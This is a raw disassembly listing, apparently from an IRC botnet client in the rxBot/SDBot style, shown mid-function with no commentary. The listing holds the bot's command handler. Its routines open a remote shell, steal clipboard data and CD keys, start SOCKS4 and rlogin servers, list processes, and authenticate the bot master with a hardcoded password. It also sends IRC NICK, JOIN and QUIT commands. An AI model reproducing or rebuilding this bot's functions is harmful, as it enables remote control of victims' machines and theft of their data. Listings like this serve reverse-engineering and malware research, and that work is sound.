eax, dword_43E1A8 loc_411A5E: ; CODE XREF: sub_40C50A+554Dj mov [ebp+var_578], eax mov eax, [ebp+esi+var_8C] cmp eax, ebx jnz short loc_411A75 lea eax, [ebp+var_D4] loc_411A75: ; CODE XREF: sub_40C50A+5563j push eax lea eax, [ebp+var_6B8] push 40h push eax call sub_418EF0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jnz short loc_411A97 mov esi, offset dword_491D7C loc_411A97: ; CODE XREF: sub_40C50A+5586j push esi lea eax, [ebp+var_678] push 100h push eax call sub_418EF0 push [ebp+var_8C] lea eax, [ebp+var_738] push 80h push eax call sub_418EF0 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 18h mov [ebp+var_564], eax lea eax, [ebp+var_6B8] push eax mov [ebp+var_73C], esi push [ebp+var_578] mov [ebp+var_568], edi push esi call sub_40AFEC pop ecx push eax lea eax, [ebp+var_2DC] push offset aRlogindServerL ; "[RLOGIND]: Server listening on IP: %s:%"... push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 6 push eax call sub_4161EB add esp, 20h mov [ebp+var_574], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_73C] push ebx push eax push offset sub_4132AA push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_574] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_411B5D loc_411B4B: ; CODE XREF: sub_40C50A+5651j cmp [ebp+var_560], ebx jnz short loc_411B78 push 32h call ds:dword_4942D8 jmp short loc_411B4B ; --------------------------------------------------------------------------- loc_411B5D: ; CODE XREF: sub_40C50A+563Fj call ds:dword_4942F0 push eax push offset aRlogindFailedT ; "[RLOGIND]: Failed to start server threa"... loc_411B69: ; CODE XREF: sub_40C50A+3632j ; sub_40C50A+372Cj ... lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 0Ch loc_411B78: ; CODE XREF: sub_40C50A+3616j ; sub_40C50A+3710j ... cmp [ebp+var_8], ebx jnz loc_40EFB5 push ebx push edi loc_411B83: ; CODE XREF: sub_40C50A+2ED6j lea eax, [ebp+var_2DC] push eax push [ebp+var_8C] push esi jmp loc_40EFAD ; --------------------------------------------------------------------------- loc_411B96: ; CODE XREF: sub_40C50A+16D4j ; sub_40C50A+16E9j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_411BA9 push esi call sub_4195F0 jmp short loc_411BB0 ; --------------------------------------------------------------------------- loc_411BA9: ; CODE XREF: sub_40C50A+5695j push 8 call sub_416452 loc_411BB0: ; CODE XREF: sub_40C50A+569Dj cmp eax, ebx pop ecx jz loc_41263B push eax push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40291D loc_411BCB: ; CODE XREF: sub_40C50A+5B5Bj add esp, 10h jmp loc_41263B ; --------------------------------------------------------------------------- loc_411BD3: ; CODE XREF: sub_40C50A+16AAj ; sub_40C50A+16BFj mov eax, dword_44B5E8 cmp eax, ebx jz short loc_411BF0 call eax ; DnsFlushResolverCache test eax, eax jz short loc_411BE9 push offset aFlushdnsDnsCac ; "[FLUSHDNS]: DNS cache flushed." jmp short loc_411C05 ; --------------------------------------------------------------------------- loc_411BE9: ; CODE XREF: sub_40C50A+56D6j push offset aFlushdnsFailed ; "[FLUSHDNS]: Failed to flush DNS cache." jmp short loc_411C05 ; --------------------------------------------------------------------------- loc_411BF0: ; CODE XREF: sub_40C50A+56D0j push offset aFlushdnsFail_0 ; "[FLUSHDNS]: Failed to load dnsapi.dll." jmp short loc_411C05 ; --------------------------------------------------------------------------- loc_411BF7: ; CODE XREF: sub_40C50A+1680j ; sub_40C50A+1695j call sub_40AF08 test eax, eax jz short loc_411C1B push offset aFlushdnsArpC_0 ; "[FLUSHDNS]: ARP cache flushed." loc_411C05: ; CODE XREF: sub_40C50A+56DDj ; sub_40C50A+56E4j ... lea eax, [ebp+var_2DC] push 200h push eax call sub_418EF0 jmp loc_4124FA ; --------------------------------------------------------------------------- loc_411C1B: ; CODE XREF: sub_40C50A+56F4j push offset aFlushdnsFail_1 ; "[FLUSHDNS]: Failed to flush ARP cache." jmp short loc_411C05 ; --------------------------------------------------------------------------- loc_411C22: ; CODE XREF: sub_40C50A+1656j ; sub_40C50A+166Bj cmp [ebp+var_8], ebx jnz short loc_411C41 push ebx push [ebp+var_4] push offset aClipboardData ; "-[Clipboard Data]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h loc_411C41: ; CODE XREF: sub_40C50A+571Bj push ebx push [ebp+var_4] call sub_409B2A push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D push offset aMainGetClipboa ; "[MAIN]: Get Clipboard." jmp loc_411F34 ; --------------------------------------------------------------------------- loc_411C63: ; CODE XREF: sub_40C50A+1576j ; sub_40C50A+158Bj push 7 call sub_416433 test eax, eax pop ecx jle short loc_411C76 push offset aCmdRemoteShell ; "[CMD]: Remote shell already running." jmp short loc_411C97 ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_40C50A+5763j push [ebp+var_8C] push [ebp+arg_4] call sub_412E64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_411C92 push offset aCmdCouldnTOpen ; "[CMD]: Couldn't open remote shell." jmp short loc_411C97 ; --------------------------------------------------------------------------- loc_411C92: ; CODE XREF: sub_40C50A+577Fj push offset aCmdRemoteShe_0 ; "[CMD]: Remote shell ready." loc_411C97: ; CODE XREF: sub_40C50A+2C73j ; sub_40C50A+2DA3j ... lea eax, [ebp+var_2DC] push eax call sub_418D70 pop ecx pop ecx jmp loc_40EF94 ; --------------------------------------------------------------------------- loc_411CAA: ; CODE XREF: sub_40C50A+154Cj ; sub_40C50A+1561j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_409517 jmp loc_411F52 ; --------------------------------------------------------------------------- loc_411CC3: ; CODE XREF: sub_40C50A+1522j ; sub_40C50A+1537j push [ebp+esi+var_90] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_4058B3 jmp loc_411F52 ; --------------------------------------------------------------------------- loc_411CE0: ; CODE XREF: sub_40C50A+14F8j ; sub_40C50A+150Dj or edi, 0FFFFFFFFh call ds:dword_494308 xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_411D09 push esi call sub_4195F0 pop ecx mov edi, eax loc_411D09: ; CODE XREF: sub_40C50A+57F4j mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_411D22 cmp edi, 0FFFFFFFFh jnz loc_41263B loc_411D22: ; CODE XREF: sub_40C50A+580Dj push ebx call sub_415273 push eax lea eax, [ebp+var_2DC] push offset aMainUptimeS_ ; "[MAIN]: Uptime: %s." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D lea eax, [ebp+var_2DC] push eax call sub_4035E1 jmp loc_40F971 ; --------------------------------------------------------------------------- loc_411D64: ; CODE XREF: sub_40C50A+14CEj ; sub_40C50A+14E3j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_403FBB lea eax, [ebp+var_2DC] push offset aCdkeysSearchCo ; "[CDKEYS]: Search completed." push eax call sub_418D70 add esp, 14h jmp loc_4125A2 ; --------------------------------------------------------------------------- loc_411D8E: ; CODE XREF: sub_40C50A+14A4j ; sub_40C50A+14B9j push 1Eh call sub_416433 test eax, eax pop ecx jle short loc_411DC2 cmp [ebp+var_8], ebx jnz loc_40C97C push ebx push [ebp+var_4] push offset aProcAlreadyRun ; "[PROC]: Already running." push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h jmp loc_40C97C ; --------------------------------------------------------------------------- loc_411DC2: ; CODE XREF: sub_40C50A+588Ej push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_418EF0 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax mov [ebp+var_46C], ebx jz short loc_411E23 push esi push offset aFull ; "full" call sub_419360 pop ecx test eax, eax pop ecx jnz short loc_411E23 mov [ebp+var_46C], 1 loc_411E23: ; CODE XREF: sub_40C50A+58FCj ; sub_40C50A+590Dj lea eax, [ebp+var_2DC] push offset aProcsProccessL ; "[PROCS]: Proccess list." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 1Eh push eax call sub_4161EB add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_40B735 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_411E91 loc_411E7B: ; CODE XREF: sub_40C50A+5985j cmp [ebp+var_460], ebx jnz loc_40EFB5 push 32h call ds:dword_4942D8 jmp short loc_411E7B ; --------------------------------------------------------------------------- loc_411E91: ; CODE XREF: sub_40C50A+596Fj call ds:dword_4942F0 push eax push offset aProcsFailedT_0 ; "[PROCS]: Failed to start listing thread"... jmp loc_4124D0 ; --------------------------------------------------------------------------- loc_411EA2: ; CODE XREF: sub_40C50A+147Aj ; sub_40C50A+148Fj cmp [ebp+var_8], ebx jnz short loc_411EC1 push ebx push [ebp+var_4] push offset aMainRemovingBo ; "[MAIN]: Removing Bot." push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h loc_411EC1: ; CODE XREF: sub_40C50A+599Bj push [ebp+arg_4] call dword_44B758 ; closesocket call dword_44B620 ; WSACleanup call sub_409D2E push ebx call ds:dword_49432C loc_411EDC: ; CODE XREF: sub_40C50A+1450j ; sub_40C50A+1465j push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push eax call sub_415430 pop ecx pop ecx push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D push offset aMainSystemInfo ; "[MAIN]: System Info." jmp short loc_411F34 ; --------------------------------------------------------------------------- loc_411F07: ; CODE XREF: sub_40C50A+1426j ; sub_40C50A+143Bj push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_4156E4 add esp, 0Ch push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D push offset aMainNetworkInf ; "[MAIN]: Network Info." loc_411F34: ; CODE XREF: sub_40C50A+5754j ; sub_40C50A+59FBj call sub_4035E1 jmp loc_41073E ; --------------------------------------------------------------------------- loc_411F3E: ; CODE XREF: sub_40C50A+13FCj ; sub_40C50A+1411j push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40371E loc_411F52: ; CODE XREF: sub_40C50A+3BCj ; sub_40C50A+57B4j ... add esp, 10h jmp loc_40C97C ; --------------------------------------------------------------------------- loc_411F5A: ; CODE XREF: sub_40C50A+13D2j ; sub_40C50A+13E7j cmp [ebp+var_C], ebx mov [ebp+var_388], bl jz short loc_411F99 mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_411F99 push esi push [ebp+var_C] call sub_419AB0 pop ecx cmp eax, ebx pop ecx jz short loc_411F99 push eax push offset aS_36 ; "%s" lea eax, [ebp+var_388] push 80h push eax call sub_418EF0 add esp, 10h loc_411F99: ; CODE XREF: sub_40C50A+5A59j ; sub_40C50A+5A64j ... push [ebp+var_8C] lea eax, [ebp+var_408] push 80h push eax call sub_418EF0 mov eax, [ebp+arg_4] push offset aLogListingLog_ ; "[LOG]: Listing log." mov [ebp+var_40C], eax mov eax, [ebp+var_4] mov [ebp+var_304], eax mov eax, [ebp+var_8] mov [ebp+var_300], eax lea eax, [ebp+var_2DC] push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 1Ch push eax call sub_4161EB add esp, 20h mov [ebp+var_308], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_40C] push ebx push eax push offset sub_403791 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_308] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_412039 loc_412023: ; CODE XREF: sub_40C50A+5B2Dj cmp [ebp+var_2FC], ebx jnz loc_40C97C push 32h call ds:dword_4942D8 jmp short loc_412023 ; --------------------------------------------------------------------------- loc_412039: ; CODE XREF: sub_40C50A+5B17j call ds:dword_4942F0 push eax push offset aLogFailedToSta ; "[LOG]: Failed to start listing thread, "... jmp loc_4127C2 ; --------------------------------------------------------------------------- loc_41204A: ; CODE XREF: sub_40C50A+13A8j ; sub_40C50A+13BDj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_403569 push offset aMainAliasList_ ; "[MAIN]: Alias list." call sub_4035E1 jmp loc_411BCB ; --------------------------------------------------------------------------- loc_41206A: ; CODE XREF: sub_40C50A+137Ej ; sub_40C50A+1393j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_418EF0 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_90] mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_464], eax jz short loc_4120C4 push offset aSub ; "sub" push esi call sub_419360 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_46C], eax jmp short loc_4120CA ; --------------------------------------------------------------------------- loc_4120C4: ; CODE XREF: sub_40C50A+5B9Ej mov [ebp+var_46C], ebx loc_4120CA: ; CODE XREF: sub_40C50A+5BB8j lea eax, [ebp+var_2DC] push offset aThreadsListThr ; "[THREADS]: List threads." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 1Fh push eax call sub_4161EB add esp, 14h mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_416256 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_412134 loc_412122: ; CODE XREF: sub_40C50A+5C28j cmp [ebp+var_460], ebx jnz short loc_41214F push 32h call ds:dword_4942D8 jmp short loc_412122 ; --------------------------------------------------------------------------- loc_412134: ; CODE XREF: sub_40C50A+5C16j call ds:dword_4942F0 push eax push offset aThreadsFaile_0 ; "[THREADS]: Failed to start list thread,"... loc_412140: ; CODE XREF: sub_40C50A+48BAj ; sub_40C50A+49D3j lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 0Ch loc_41214F: ; CODE XREF: sub_40C50A+4548j ; sub_40C50A+4560j ... lea eax, [ebp+var_2DC] push eax jmp loc_40DB46 ; --------------------------------------------------------------------------- loc_41215B: ; CODE XREF: sub_40C50A+1302j ; sub_40C50A+1317j push offset aFenr ; "FEnR" lea eax, [ebp+var_2DC] push offset aMainBotIdS_ ; "[MAIN]: Bot ID: %s." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 20h jmp loc_40E781 ; --------------------------------------------------------------------------- loc_412192: ; CODE XREF: sub_40C50A+12D8j ; sub_40C50A+12EDj push dword_491BE8 call sub_415273 push eax lea eax, [ebp+var_2DC] push offset aMainStatusRead ; "[MAIN]: Status: Ready. Bot Uptime: %s." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 24h jmp loc_40E781 ; --------------------------------------------------------------------------- loc_4121D0: ; CODE XREF: sub_40C50A+12AEj ; sub_40C50A+12C3j mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412202 cmp [ebp+var_C], ebx jz short loc_412211 push esi push [ebp+var_C] call sub_419AB0 pop ecx cmp eax, ebx pop ecx jz short loc_412211 push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_4083E7 add esp, 0Ch jmp short loc_412211 ; --------------------------------------------------------------------------- loc_412202: ; CODE XREF: sub_40C50A+5CCFj push offset aQuitLater_0 ; "QUIT :later\r\n" push [ebp+arg_4] call sub_4083E7 pop ecx pop ecx loc_412211: ; CODE XREF: sub_40C50A+5CD4j ; sub_40C50A+5CE3j ... push 0FFFFFFFEh jmp loc_40C97E ; --------------------------------------------------------------------------- loc_412218: ; CODE XREF: sub_40C50A+1284j ; sub_40C50A+1299j push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_4083E7 push offset aMainDisconnect ; "[MAIN]: Disconnecting." call sub_4035E1 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40C97F ; --------------------------------------------------------------------------- loc_41223A: ; CODE XREF: sub_40C50A+125Aj ; sub_40C50A+126Fj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_4083E7 push offset aMainReconnecti ; "[MAIN]: Reconnecting." call sub_4035E1 add esp, 0Ch xor eax, eax jmp loc_40C97F ; --------------------------------------------------------------------------- loc_41225B: ; CODE XREF: sub_40C50A+1230j ; sub_40C50A+1245j push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_402853 jmp loc_410681 ; --------------------------------------------------------------------------- loc_412271: ; CODE XREF: sub_40C50A+118Bj ; sub_40C50A+11A0j push [ebp+esi+var_90] push 1Eh push offset aProcessList ; "Process list" push offset aProc ; "[PROC]" jmp short loc_412299 ; --------------------------------------------------------------------------- loc_412286: ; CODE XREF: sub_40C50A+1161j ; sub_40C50A+1176j push [ebp+esi+var_90] push 1Bh push offset aFindFile ; "Find file" push offset aFindfile_0 ; "[FINDFILE]" loc_412299: ; CODE XREF: sub_40C50A+FDCj ; sub_40C50A+1005j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_416479 add esp, 20h jmp loc_40C97C ; --------------------------------------------------------------------------- loc_4122B5: ; CODE XREF: sub_40C50A+F9Dj ; sub_40C50A+FB2j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_4122D4 push edi call sub_4195F0 test eax, eax pop ecx jz short loc_4122D4 push edi call sub_4195F0 pop ecx jmp short loc_4122D9 ; --------------------------------------------------------------------------- loc_4122D4: ; CODE XREF: sub_40C50A+5DB4j ; sub_40C50A+5DBFj mov eax, dword_43E19C loc_4122D9: ; CODE XREF: sub_40C50A+5DC8j mov esi, [ebp+esi+var_8C] mov [ebp+var_478], eax cmp esi, ebx jz short loc_4122FE push esi loc_4122EB: ; CODE XREF: sub_40C50A+5E03j lea eax, [ebp+var_488] push 10h push eax call sub_418EF0 add esp, 0Ch jmp short loc_412315 ; --------------------------------------------------------------------------- loc_4122FE: ; CODE XREF: sub_40C50A+5DDEj cmp [ebp+var_9C7], bl jz short loc_41230F lea eax, [ebp+var_D4] push eax jmp short loc_4122EB ; --------------------------------------------------------------------------- loc_41230F: ; CODE XREF: sub_40C50A+5DFAj mov [ebp+var_488], bl loc_412315: ; CODE XREF: sub_40C50A+5DF2j mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax mov [ebp+var_50C], esi call sub_418EF0 add esp, 0Ch push [ebp+var_478] push esi call sub_40AFEC pop ecx push eax lea eax, [ebp+var_2DC] push offset aSocks4ServerSt ; "[SOCKS4]: Server started on: %s:%d." push eax call sub_418D70 push ebx lea eax, [ebp+var_2DC] push 11h push eax call sub_4161EB add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_414902 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_4123C6 loc_4123B0: ; CODE XREF: sub_40C50A+5EBAj cmp [ebp+var_464], ebx jnz loc_40C97C push 32h call ds:dword_4942D8 jmp short loc_4123B0 ; --------------------------------------------------------------------------- loc_4123C6: ; CODE XREF: sub_40C50A+5EA4j call ds:dword_4942F0 push eax push offset aSocks4FailedTo ; "[SOCKS4]: Failed to start server thread"... jmp loc_4127C2 ; --------------------------------------------------------------------------- loc_4123D7: ; CODE XREF: sub_40C50A+F49j ; sub_40C50A+F5Ej ... push edi push offset aSecure_2 ; "secure" call sub_419360 pop ecx test eax, eax pop ecx jz short loc_4123FF push edi push offset aSec_0 ; "sec" call sub_419360 pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_412409 loc_4123FF: ; CODE XREF: sub_40C50A+5EDCj mov [ebp+var_46C], 1 loc_412409: ; CODE XREF: sub_40C50A+5EF3j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_418EF0 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_412450 mov eax, offset aUnsecuring ; "Unsecuring" loc_412450: ; CODE XREF: sub_40C50A+5F3Fj push eax push offset aSecureSSystem_ ; "[SECURE]: %s system." lea eax, [ebp+var_2DC] push 200h push eax call sub_418EF0 push ebx lea eax, [ebp+var_2DC] push 19h push eax call sub_4161EB add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_413AD1 push ebx push ebx call ds:dword_4942F4 mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov dword_44D06C[ecx], eax jz short loc_4124C4 loc_4124AE: ; CODE XREF: sub_40C50A+5FB8j cmp [ebp+var_460], ebx jnz loc_40EFB5 push 32h call ds:dword_4942D8 jmp short loc_4124AE ; --------------------------------------------------------------------------- loc_4124C4: ; CODE XREF: sub_40C50A+5FA2j call ds:dword_4942F0 push eax push offset aSecureFailed_0 ; "[SECURE]: Failed to start secure thread"... loc_4124D0: ; CODE XREF: sub_40C50A+3DA5j ; sub_40C50A+4ACFj ... lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 0Ch jmp loc_40EFB5 ; --------------------------------------------------------------------------- loc_4124E4: ; CODE XREF: sub_40C50A+F1Fj ; sub_40C50A+F34j push offset aFenr_0 ; "FEnR" push offset aMainS ; "[MAIN]: %s" loc_4124EE: ; CODE XREF: sub_40C50A+486Fj ; sub_40C50A+4B83j ... lea eax, [ebp+var_2DC] push eax call sub_418D70 loc_4124FA: ; CODE XREF: sub_40C50A+570Cj add esp, 0Ch jmp loc_40E760 ; --------------------------------------------------------------------------- loc_412502: ; CODE XREF: sub_40C50A+EF5j ; sub_40C50A+F0Aj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_412559 push esi call sub_4195F0 cmp eax, ebx pop ecx jl short loc_412551 cmp eax, 2 jge short loc_412551 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_412549 lea eax, [esi+1] push eax lea eax, [ebp+var_2DC] push offset aMainUserSLog_1 ; "[MAIN]: User %s logged out." push eax call sub_418D70 add esp, 0Ch mov [esi], bl jmp short loc_4125A2 ; --------------------------------------------------------------------------- loc_412549: ; CODE XREF: sub_40C50A+6021j push eax push offset aMainNoUserLogg ; "[MAIN]: No user logged in at slot: %d." jmp short loc_412593 ; --------------------------------------------------------------------------- loc_412551: ; CODE XREF: sub_40C50A+600Cj ; sub_40C50A+6011j push eax push offset aMainInvalidLog ; "[MAIN]: Invalid login slot number: %d." jmp short loc_412593 ; --------------------------------------------------------------------------- loc_412559: ; CODE XREF: sub_40C50A+6001j mov edi, [ebp+arg_18] xor esi, esi loc_41255E: ; CODE XREF: sub_40C50A+6070j push [ebp+var_94] push edi call sub_419360 pop ecx test eax, eax pop ecx jz short loc_41257E inc esi add edi, 80h cmp esi, 2 jl short loc_41255E jmp short loc_4125A2 ; --------------------------------------------------------------------------- loc_41257E: ; CODE XREF: sub_40C50A+6064j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D4] push eax push offset aMainUserSLog_2 ; "[MAIN]: User %s logged out." loc_412593: ; CODE XREF: sub_40C50A+1CDEj ; sub_40C50A+1D0Cj ... lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 0Ch loc_4125A2: ; CODE XREF: sub_40C50A+1CC2j ; sub_40C50A+1CF2j ... cmp [ebp+var_8], ebx jnz loc_40CE3C push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h jmp loc_40CE3C ; --------------------------------------------------------------------------- loc_4125CC: ; CODE XREF: sub_40C50A+ECBj ; sub_40C50A+EE0j push [ebp+var_90] push offset a332_4 ; "332" call sub_419360 pop ecx test eax, eax pop ecx jz short loc_41263B call sub_4163B4 push ebx call ds:dword_49432C loc_4125EE: ; CODE XREF: sub_40C50A+EA1j ; sub_40C50A+EB6j push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax lea eax, [ebp+var_928] push dword_43E1C0 push eax call sub_4138AA lea eax, [ebp+var_928] push eax push offset aNickS_3 ; "NICK %s\r\n" push [ebp+arg_4] call sub_4083E7 lea eax, [ebp+var_928] push eax push offset aMainRandomNick ; "[MAIN]: Random nick change: %s" call sub_403655 loc_412638: ; CODE XREF: sub_40C50A+2C10j add esp, 24h loc_41263B: ; CODE XREF: sub_40C50A+632j ; sub_40C50A+63Ej ... mov eax, [ebp+arg_24] jmp loc_40C97F ; --------------------------------------------------------------------------- loc_412643: ; CODE XREF: sub_40C50A+A9Dj ; sub_40C50A+AB2j mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40C97C cmp [ebp+var_B8], ebx jnz loc_40C97C push offset asc_43F0B8 ; "!" push [ebp+var_94] call sub_419890 mov esi, eax push offset dword_491D78 push ebx inc esi call sub_419890 push offset asc_43F0BC ; "~" push eax call sub_419890 push [ebp+arg_0] mov edi, eax push offset a19736666386888 ; "19736666386888" call sub_419360 add esp, 20h test eax, eax jz short loc_4126D9 lea eax, [ebp+var_D4] push edi push eax lea eax, [ebp+var_D4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_4083E7 lea eax, [ebp+var_D4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_4083E7 push edi push esi push offset aMainFailedPass ; "[MAIN]: *Failed pass auth by: (%s!%s)." jmp short loc_412735 ; --------------------------------------------------------------------------- loc_4126D9: ; CODE XREF: sub_40C50A+6194j mov [ebp+arg_24], offset off_43E268 loc_4126E0: ; CODE XREF: sub_40C50A+61F2j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_41676E pop ecx test eax, eax pop ecx jnz short loc_412749 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_43E26C jl short loc_4126E0 lea eax, [ebp+var_D4] push edi push eax lea eax, [ebp+var_D4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_4083E7 lea eax, [ebp+var_D4] push eax push offset aNoticeSYourA_0 ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_4083E7 push edi push esi push offset aMainFailedHost ; "[MAIN]: *Failed host auth by: (%s!%s)." loc_412735: ; CODE XREF: sub_40C50A+61CDj lea eax, [ebp+var_2DC] push eax call sub_418D70 add esp, 30h jmp loc_40CE3C ; --------------------------------------------------------------------------- loc_412749: ; CODE XREF: sub_40C50A+61E5j mov edi, [ebp+arg_18] xor esi, esi loc_41274E: ; CODE XREF: sub_40C50A+626Ej cmp [ebp+arg_0], ebx jz loc_40C97C cmp [edi], bl jnz short loc_41276E push [ebp+arg_0] push offset a19736666386888 ; "19736666386888" call sub_419360 pop ecx test eax, eax pop ecx jz short loc_41277F loc_41276E: ; CODE XREF: sub_40C50A+624Fj inc esi add edi, 80h cmp esi, 2 jl short loc_41274E jmp loc_40C97C ; --------------------------------------------------------------------------- loc_41277F: ; CODE XREF: sub_40C50A+6262j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_AA8] push 7Fh push eax push esi call sub_4191A0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4127B6 push ebx push [ebp+var_4] push offset aMainPasswordAc ; "[MAIN]: Password accepted." push [ebp+var_8C] push [ebp+arg_4] call sub_40842D add esp, 14h loc_4127B6: ; CODE XREF: sub_40C50A+6290j lea eax, [ebp+var_D4] push eax push offset aMainUserSLog_3 ; "[MAIN]: User: %s logged in." loc_4127C2: ; CODE XREF: sub_40C50A+59Bj ; sub_40C50A+5B3Bj ... call sub_403655 loc_4127C7: ; CODE XREF: sub_40C50A+17CEj pop ecx loc_4127C8: ; CODE XREF: sub_40C50A+2AB7j pop ecx jmp loc_40C97C ; --------------------------------------------------------------------------- loc_4127CE: ; CODE XREF: sub_40C50A+205j ; sub_40C50A+21Aj push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_4083E7 push offset asc_43E250 ; "+x" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_4083E7 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS_4 ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4083E7 add esp, 2Ch mov 